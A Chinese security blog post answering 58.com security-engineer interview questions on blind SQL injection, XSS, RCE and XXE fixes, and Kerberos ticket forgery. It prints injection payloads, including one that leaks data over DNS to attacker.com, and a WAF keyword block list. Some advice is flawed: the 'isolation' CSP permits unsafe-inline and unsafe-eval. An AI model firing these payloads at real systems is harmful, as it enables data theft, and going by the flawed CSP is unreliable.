网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
攻击场景:当SQL注入漏洞无法通过页面回显数据,且存在1秒超时限制时,可采用以下方法:
场景:业务需支持用户输入HTML(如论坛编辑器),无法完全转义。
58同城-安全工程师
场景题,sql注入如下 ~select * from user where userid = {};~ response中没有返回信息,如何进行sql注入 ,1s就超时,如何进行sql注入 编写一个安全的SDK,sql注入的修复怎么写,预编译 白名单 xss的修复- 实体化转义 业务中需要使用到html的场景,无法通过实体化转义进行防御漏洞,如何处理 白名单限制+黑名单过滤 html标签白名单+事件白名单 RCE的修复(java,python) - 白名单限制+黑名单过滤 XXE的修复 window域内横向-票据伪造,白银票据和黄金票据
一、无回显SQL注入攻击手法及防御方案
攻击场景:当SQL注入漏洞无法通过页面回显数据,且存在1秒超时限制时,可采用以下方法:
- 时间盲注(Time-Based Blind SQLi)
- 原理:通过条件语句触发数据库延时操作,利用响应时间差异推断数据。
- 示例Payload(MySQL):
sql
' UNION SELECT IF(SUBSTRING(database(),1,1)='a', SLEEP(2), 1)--
- 若数据库名首字母为
a
,则响应延迟2秒,否则立即返回。- 绕过1秒限制:
- 使用短时间函数(如
SLEEP(0.5)
)多次触发,通过统计总延迟推断数据。- 分阶段注入:先获取数据长度,再逐字符爆破(自动化工具如Sqlmap的
--time-sec=0.5
参数)。- 带外通信(OOB-Out of Band)
- 原理:利用数据库函数发起DNS或HTTP请求外传数据。
- 示例Payload(SQL Server):
sql
'; DECLARE @a VARCHAR(100)=SELECT TOP 1 column_name FROM table; EXEC('master..xp_dirtree "\\'+@a+'.attacker.com\test"')--
- 数据通过DNS查询外泄到攻击者控制的域名服务器。
二、SQL注入修复:安全SDK设计指南
防御方案:
- 预编译(参数化查询)
- 代码示例(Java JDBC):
java
String sql = "SELECT * FROM user WHERE userid = ?"; PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, userInput); // 自动转义特殊字符
- 关键点:禁止拼接SQL语句,所有动态值必须参数化。
- 白名单过滤
- 场景:当参数需限定为特定格式(如数字、枚举值)时。
- 代码示例(Python):
python
if not userInput.isdigit(): raise ValueError("Invalid user ID")
- 防御层叠加
- 使用ORM框架(如Hibernate)的天然预编译特性。
- 对异常请求添加WAF规则(如拦截
SLEEP
、BENCHMARK
等关键词)。
三、XSS防御进阶:富文本场景解决方案
场景:业务需支持用户输入HTML(如论坛编辑器),无法完全转义。
- 白名单+黑名单双重过滤
- 工具:使用DOMPurify或OWASP Java HTML Sanitizer。
- 白名单规则示例:
json
{ "allowedTags": ["p", "strong", "em", "a"], "allowedAttributes": {"a": ["href"]}, "allowedSchemes": {"href": ["http", "https"]} }
- 黑名单过滤:移除
on*
事件、javascript:
协议等。- 沙箱隔离(CSP策略)
- HTTP头示例:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
四、RCE防御:Java/Python场景最佳实践
- Java修复方案
- 白名单命令执行:
java
List<String> allowedCommands = Arrays.asList("ls", "pwd"); if (!allowedCommands.contains(userCommand)) { throw new SecurityException("Command not allowed"); } new ProcessBuilder(userCommand).start();
- 禁用反射调用:通过SecurityManager限制
Runtime.exec
。- Python修复方案
- 安全执行函数:
python
import shlex args = shlex.split(userInput) # 分割参数防止注入 subprocess.run(args, shell=False) # 禁止shell模式
五、XXE漏洞修复全策略
- 禁用外部实体解析
- Java示例:
java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
- Python示例(lxml库):
python
parser = etree.XMLParser(resolve_entities=False, no_network=True)
- 输入过滤:拦截包含
<!DOCTYPE
或<!ENTITY
的XML内容。
六、Windows域内横向移动:票据伪造攻防
攻击手法:
- 黄金票据(Golden Ticket)
- 原理:利用krbtgt账户的NTLM Hash伪造TGT(票据授予票据),可访问任意服务。
- 防御:
- 定期重置krbtgt密码(每180天,需两次重置确保旧票据失效)。
- 启用LAPS(本地管理员密码解决方案)。
- 白银票据(Silver Ticket)
- 原理:伪造特定服务的ST(服务票据),无需域控参与。
- 防御:
- 启用服务账户的Kerberos AES加密(而非RC4)。
- 监控服务SPN异常请求(如同一用户频繁访问多服务)。
检测与响应:
- 启用Windows事件日志审核Kerberos事件(事件ID 4768、4769)。
- 使用EDR工具检测异常票据请求(如非工作时间票据使用)。
总结:防御体系设计要点
- 分层防御:在网络层(WAF)、应用层(输入过滤)、数据层(预编译)设置多重防护。
- 最小权限原则:数据库账户仅赋予必要权限(如禁止
FILE_OPTIONS
)。- 自动化检测:在CI/CD流程集成SAST/DAST工具(如Checkmarx、Burp Suite)。
- 威胁建模:针对业务场景定制安全策略(如金融系统重点防御票据伪造)。